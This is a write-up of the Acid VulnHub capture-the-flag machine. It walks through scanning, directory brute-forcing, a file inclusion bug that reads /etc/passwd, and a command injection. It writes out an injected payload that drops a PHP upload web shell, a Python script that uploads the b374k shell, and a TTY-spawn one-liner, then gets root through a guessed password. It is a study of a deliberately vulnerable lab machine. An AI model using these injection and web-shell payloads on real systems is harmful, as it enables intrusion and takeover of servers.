Acid 1 VulnHub Writeup
- Host discovery
- Service discovery
- Port 33447
- wow.jpg
- /Challenge
- Dirbuster on /Challenge
- Dirbuster on /Challenge/Magic_Box
- Looking for a back door
- Conclusion
So, VulnHub released a new image by @m_avinash143. Time to break more things, for fun. This one's called Acid.
This VM has been provided as a VMWare image, however as I'm now on a Mac, I had to create a new VirtualBox machine, and attach the VDI as the primary disk. After this, the image span up just fine (32bit CPU).
Host discovery
This time, I decided to use a different tool to discover the host once it came up - netdiscover.
netdiscover -i eth1 -r 10.200.0.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor
-----------------------------------------------------------------------------
10.200.0.1 0a:00:27:00:00:00 01 060 Unknown vendor
10.200.0.100 08:00:27:1b:11:3c 01 060 CADMUS COMPUTER SYSTEMS
10.200.0.104 08:00:27:fc:bd:e9 01 060 CADMUS COMPUTER SYSTEMS
The only IP I didn't recognise from this list was 10.200.0.104.
Service discovery
Time to fire up nmap, to find out exactly what we're dealing with.
nmap -p 1-65535 -T4 -A -v 10.200.0.104
nmap came back, reporting a single open port - 33447.
Port 33447
Looking at the output from nmap, it looks like port 33447 is running Apache 2.4.10. After opening it up in a browser, we're shown the 'splash screen' for the challenge.
After inspecting the HTTP response, we can see a few interesting things. First of all, the title appears to contain the path '/Challenge'. We'll re-visit this shortly.
Another interesting point is that at the bottom of the response, there is a HEX number - 0x643239334c6d70775a773d3d. When we convert this to a string, it results in a Base64 string, which in turn decodes to 'wow.jpg'.
Continuing our initial recon, we check for robots.txt, which does not exist. Time to move on.
wow.jpg
The file wow.jpg does not exist in the root directory, but going on the location of the background image, after checking the 'images' directory we find it at the path 'images/wow.jpg'. Directory listing is disabled on the 'images' directory. After checking for strings in wow.jpg, a long set of numbers was retrieved - 37:61:65:65:30:66:36:64:35:38:38:65:64:39:39:30:35:65:65:33:37:66:31:36:61:37:63:36:31:30:64:34. I tried decoding this as text, but was met with garbage. I keep a note of this for later, as it doesn't appear to belong in the JPG.
/Challenge
Upon visiting the '/Challenge' URL, we're met with a login form.
Looks to submit to PHP script. A leftover comment in the 'Challenge/styles/main.css' file suggests that this login form was taken from a tutorial blog post (in particular, http://www.formget.com/login-form-in-php/, which in turn takes influence from http://www.wikihow.com/Create-a-Secure-Login-Script-in-PHP-and-MySQL). After a bit of testing, it doesn't look like this is vulnerable to SQLI, so let's move on.
Dirbuster on /Challenge
Not much of interest was found in the root directory, so we move on to the '/Challenge' path. This resulted in several matches. One particular file of interest is '/Challenge/include.php', which allows you to include a file (such as ../index.html), after which its contents are output on the page. It's worth noting, that you can only access this script if you have visited the login page before, and been displayed the 'Protected Page' error message before. I suspect there is some incorrect checking going on here for access - good for us!
After some experimentation, it looks like the web root is located in '/var/www/html'. I found this out by including the absolute path of '/var/www/html'. Unfortunately, it looks like this script is calling the 'include' method, so we can't inspect the source of our PHP scripts any further. After submitting the path '/etc/passwd', we can see there are a couple of interesting users on this machine - acid, and saman. Apart from this, I don't think we're going to get much useful information from this script.
One note - in the source of the 'include.php' script that's output to the browser, there is another hex comment, similar to the first one we found earlier, with the value of 0x5933566a4c6e4a34626e413d. This decodes to another Base64 string, which in turn decodes to 'cuc.rxnp'. Looks like junk, but let's keep it in mind, just in case.
Another couple of other interesting files came out from dirbuster - '/Challenge/hacked.php' and '/Challenge/cake.php'. Upon visiting 'http://10.200.0.104:33447/Challenge/hacked.php', we're presented with an input, prompting for an ID. This form doesn't actually appear to do much at first, but after I changed the method to POST, it looks like we can trigger an SQLI by escaping with a single quote. The error from PHP is output in the console. I'm going to keep a note of this for later, in case we run out of steam.
After visiting our final interesting URL of '/Challenge/cake.php', I noticed that the title has once again been set to what looks like a path (/Magic_Box). After visiting the URL of '/Challenge/Magic_Box', I believe this is an actual directory, as we are given a 403 listing, as if directory listing is disabled. If it didn't exist on the file system, we'd of been shown a 404 error instead. Time to break out dirbuster again.
Below are the results for my dirbuster run on the '/Challenge' directory.
DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Wed Aug 12 14:36:53 UTC 2015
--------------------------------
http://10.200.0.104:33447
--------------------------------
Directories found during testing:
Dirs found with a 403 response:
/images/
/icons/
/css/
/icons/small/
/Challenge/css/
/Challenge/includes/
/Challenge/js/
/Challenge/styles/
/Challenge/less/
/server-status/
Dirs found with a 200 response:
/
/Challenge/
--------------------------------
Files found during testing:
Files found with a 200 responce:
/Challenge/index.php
/Challenge/error.php
/Challenge/includes/functions.php
/Challenge/cake.php
Files found with a 302 responce:
/Challenge/include.php
/Challenge/includes/logout.php
/Challenge/hacked.php
--------------------------------
Dirbuster on /Challenge/Magic_Box
After running dirbuster on the '/Challenge/Magic_Box' path, we find a few more PHP scripts to play with, one of which is named 'command.php'. Below is the output from dirbuster on '/Challenge/Magic_Box'.
DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Wed Aug 12 15:31:45 UTC 2015
--------------------------------
http://10.200.0.104:33447
--------------------------------
Directories found during testing:
Dirs found with a 403 response:
/Challenge/Magic_Box/.php
Dirs found with a 200 response:
/Challenge/Magic_Box/low.php
/Challenge/Magic_Box/command.php
/Challenge/Magic_Box/tails.php
--------------------------------
--------------------------------
After submitting the IP address 127.0.0.1, we can see in the response source what looks like output from the 'ping' command. Going purely on the rendered page, this would not be apparent, as the font colour has been set to white, and the text is output prior to any other elements. From here, I try a command injection with a semicolon.
; ls
After submitting our rather simple payload, we can see a directory listing. Awesome! Time to drop a shell and get up to some mischief. Initially, I was unable to write to a new file, however after traversing up one directory I was able to write out. The following payload drops a small PHP uploader script, which allows me to upload files of higher complexity.
"; echo '<?php error_reporting(E_ALL); ini_set("display_errors", 1); $fp = fopen($_POST["name"], "wb"); fwrite($fp, base64_decode($_POST["content"])); fclose($fp);' > ../test.php
Once this has been dropped, I can use a small Python script to upload the good old b374k shell.
import requests,base64
s = requests.session()
target = "http://10.200.0.104:33447/Challenge/test.php"
f = open('b374k.php')
payload = {
"name": "test2.php",
"content": base64.b64encode("\n".join(f.readlines()))
}
r = s.post(target, data=payload)
Looking for a back door
I'm going to admit - I got stuck on this stage for a while.
After looking through the web root, we discovered a few interesting bits. First of all, the root login for MySQL. This allowed us to check out the DB for any other tables of interest, but I came up blank. Another find was files with seemingly random filenames. I took note of these for later.
Moving out of the web root, we find a directory named '/s.bin', with a file inside it called 'investigate.php'. Inside this file is a message stating 'Now you have to behave like an investigator to catch the culprit'.
Further investigation resulted in discovering a directory within the '/sbin' directory named 'raw_vs_isi', and within this directory is a pcap file named 'hint.pcapng'.
After pulling this file up in Wireshark, we find something a little funny...
It looks like a conversation took place in this PCAP across raw TCP packets. This filter helped me filter out everything else and get just the messages in Wireshark. 'tcp.dstport == 1337 or tcp.srcport == 1337'. The conversation went a little like this..
1> heya
2> Hello
1> What was the name of the Culprit ???
2> saman and now a days he's known by the alias of 1337hax0r
1> oh...Fuck....Great...Now, we gonna Catch Him Soon :D
2> Yes .. We have to !! The mad bomber is on a rage
1> Ohk...cya
2> Over and Out
I'm not entirely sure what to think of that.. I know there's a user on the target machine named 'saman', but we don't have access to anything in their home directory. After this, I went back to the shell and did some more sniffing about.
I discovered a directory in '/bin' called 'pwn_me'. Inside this directory are binaries for 'chkrootkit'..rather old binaries at that. This version is supposedly vulnerable to a local privilege escalation vulnerability (https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0476). In theory, if this is being executed as a cron task of some kind, if I place a script in the '/tmp' directory named 'update', it will be executed by chkrootkit. In the few hours I've had the test 'update' script in place, it's not been executed, so I don't believe chkrootkit is running at all - a shame.
Another CVE that might be applicable is CVE-2015-1328, due to the kernel version being '3.19.0.15.14'. After some experimentation, I could get this exploit to work on a 64bit machine, however on a 32bit machine it fails.
Here is where I got a little stuck. After taking a break, I went back and decided to try and elevate to another user on the machine. I feel like I got very lucky here - after putting together a list of strings I've gathered, I went to town on 'su'. As the reverse shell from b374k doesn't give us a TTY, I use the following snippet to get us a TTY session.
python -c 'import pty; pty.spawn("/bin/bash")'
After a number of attempts on the 'acid' user, I move on to the 'saman' user. BINGO! The hackers other name of '1337hax0r' was also their password. From this user, I attempt to sudo - first time! We're now root, and we have obtained the flag.
/var/www/html/Challenge/includes>python -c 'import pty; pty.spawn("/bin/sh")'
/var/www/html/Challenge/includes>su saman
Password:
saman@acid:/var/www/html/Challenge/includes$ sudo su
[sudo] password for saman:
____ _ _ _ _
/ ___|___ _ __ __ _ _ __ __ _| |_ _ _| | __ _| |_(_) ___ _ __ ___
| | / _ \| '_ \ / _` | '__/ _` | __| | | | |/ _` | __| |/ _ \| '_ \/ __|
| |__| (_) | | | | (_| | | | (_| | |_| |_| | | (_| | |_| | (_) | | | \__ \
\____\___/|_| |_|\__, |_| \__,_|\__|\__,_|_|\__,_|\__|_|\___/|_| |_|___/
|___/
root@acid:/var/www/html/Challenge/includes# cd
root@acid:~# cat flag.txt
Dear Hax0r,
You have successfully completed the challenge.
I hope you like it.
FLAG NAME: "Acid@Makke@Hax0r"
Kind & Best Regards
-ACID
facebook: https://facebook.com/m.avinash143
Conclusion
Thank you for this machine @m_avinash143. I learnt a couple of new tricks while attacking it, and learnt patience while investigating potential vulnerabilities I could use to elevate my privilege. Over all, an enjoyable experience!
I'm pretty sure there was an alternative route to solving this, other than using dirbuster on the '/Challenge/Magic_Box' path, but I'm not entirely sure what it was. I look forward to reading other write ups on this challenge.